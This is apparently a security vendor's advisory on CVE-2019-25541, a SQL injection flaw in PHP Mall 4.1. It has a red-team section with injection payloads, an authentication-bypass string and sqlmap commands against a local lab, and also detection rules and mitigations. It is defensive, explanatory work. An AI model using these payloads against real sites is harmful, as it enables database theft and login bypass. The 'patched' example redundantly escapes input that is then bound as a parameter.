CVE-2019-25541

Executive Summary

CVE-2019-25541 is a critical unauthenticated SQL injection vulnerability affecting Netartmedia PHP Mall 4.1, a PHP-based e-commerce application. The vulnerability allows remote attackers to execute arbitrary SQL queries without authentication by injecting malicious payloads through the id parameter in index.php or the Email parameter in loginaction.php. This can lead to full database compromise, including extraction of user credentials, session tokens, and other sensitive data. The vendor has not released a patch, making this a high-risk, unpatched vulnerability for any instance running PHP Mall 4.1.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of unauthenticated remote exploitation, low complexity, and high impact makes this a top-priority vulnerability for any organization using PHP Mall 4.1.

Deep Dive & Mechanics

The vulnerability stems from insufficient input validation in two key parameters:

1. id parameter in index.php: This parameter is used to fetch product or category details. The application directly concatenates the user-supplied id value into SQL queries without sanitization or parameterization.
2. Email parameter in loginaction.php: This parameter is used during the login process. The application uses the unsanitized email input in a SQL query to verify user credentials.

Attack Mechanics:

• Time-Based Blind SQL Injection: Attackers can use SQL functions like SLEEP() to infer database structure and extract data character by character based on response delays.
• Error-Based SQL Injection: If error messages are displayed, attackers can use UNION SELECT statements to retrieve data directly.
• Boolean-Based Blind SQL Injection: Attackers can use conditional statements (e.g., IF(condition, true, false)) to infer information based on the application's response.

Example Payloads:

• index.php?id=1 AND SLEEP(5) – Causes a 5-second delay if the condition is true.
• loginaction.php?Email=test@test.com' OR '1'='1 – Bypasses authentication and may return all users.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the only reference. The following is a representative example of the vulnerable pattern.

Vulnerable Code (PHP Mall 4.1 - index.php):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Vulnerable Code (PHP Mall 4.1 - loginaction.php):

<?php
$email = $_POST['Email'];
$query = "SELECT * FROM users WHERE email = '$email'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical - Not Provided by Vendor):

<?php
$id = intval($_GET['id']);
$query = "SELECT * FROM products WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

<?php
$email = mysqli_real_escape_string($conn, $_POST['Email']);
$query = "SELECT * FROM users WHERE email = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "s", $email);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy PHP Mall 4.1 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via http://localhost/PHPMall/.

Exploitation Steps:

1. Identify Vulnerable Parameters:

   • http://localhost/PHPMall/index.php?id=1' – Look for SQL errors or unexpected behavior.
   • http://localhost/PHPMall/loginaction.php – Intercept the login request and modify the Email parameter.

2. Time-Based Blind SQL Injection (using sqlmap):

   sqlmap -u "http://localhost/PHPMall/index.php?id=1" --batch --dbs
   

   sqlmap -u "http://localhost/PHPMall/loginaction.php" --data="Email=test@test.com&Password=test" --batch --dbs
   

3. Manual Exploitation (Time-Based):

   -- Check if injection works (5-second delay)
   http://localhost/PHPMall/index.php?id=1 AND SLEEP(5)
   

4. Manual Exploitation (UNION-Based):

   -- Determine number of columns
   http://localhost/PHPMall/index.php?id=1 UNION SELECT 1,2,3,4--
   -- Extract data
   http://localhost/PHPMall/index.php?id=1 UNION SELECT 1,@@version,user(),4--
   

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Server Logs: Look for patterns like SLEEP, UNION, OR 1=1, or excessive ' characters in GET/POST parameters.
2. WAF Rules: Deploy Web Application Firewall rules to block common SQL injection patterns.
3. Network Monitoring: Use Suricata rules (see Detection Engineering) to detect SQL injection attempts.
4. Honeypot: Set up a decoy PHP Mall instance to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing SLEEP( in the id or Email parameter.
  • HTTP requests with UNION SELECT in the query string.
  • HTTP requests with OR '1'='1 in the Email parameter.
  • Unusual response delays (e.g., 5+ seconds) from the application.
• File IOCs:
  • Suspicious entries in web server access logs (e.g., /index.php?id=1 AND SLEEP(5)).
• Database IOCs:
  • Unexpected database queries in the database server logs.
  • New user accounts or modified data.

Detection Engineering

YARA Rule

rule CVE_2019_25541_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25541 in PHP Mall 4.1"
        author = "Valters IT"
        date = "2024-05-24"
        reference = "CVE-2019-25541"
    strings:
        $sleeper = /[?&](id|Email)=[^&]*SLEEP\(/ nocase
        $unioner = /[?&](id|Email)=[^&]*UNION\s+SELECT/ nocase
        $or_1_1 = /[?&]Email=[^&]*OR\s+['\"]1['\"]\s*=\s*['\"]1/ nocase
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against PHP Mall 4.1 (CVE-2019-25541)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the id and Email parameters in PHP Mall 4.1.
author: Valters IT
date: 2024/05/24
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'SLEEP('
            - 'UNION SELECT'
            - "OR '1'='1"
            - "OR \"1\"=\"1"
    condition: selection
falsepositives:
    - Legitimate use of the word "sleep" in a product name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25541 - SQL Injection Attempt - SLEEP()"; flow:to_server; content:"SLEEP("; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2019-25541 - SQL Injection Attempt - UNION SELECT"; flow:to_server; content:"UNION SELECT"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2019-25541 - SQL Injection Attempt - OR 1=1"; flow:to_server; content:"OR '1'='1"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are critical:

1. Immediate Action:

   • Disable PHP Mall 4.1 if it is exposed to the internet.
   • Isolate the application on a segmented network with strict firewall rules.

2. Code-Level Mitigation (If source code is accessible):

   • Replace all direct SQL queries with prepared statements (parameterized queries).
   • Implement input validation and whitelisting for all user-supplied parameters.
   • Use a Web Application Firewall (WAF) with SQL injection rules.

3. Network-Level Mitigation:

   • Deploy the Suricata rules provided above to detect and block attacks.
   • Implement rate limiting on login and search endpoints.

4. Long-Term Solution:

   • Migrate to a supported and actively maintained e-commerce platform.
   • Contact Netartmedia for an official patch or upgrade path.

Valters IT – Securing digital frontiers with precision and expertise.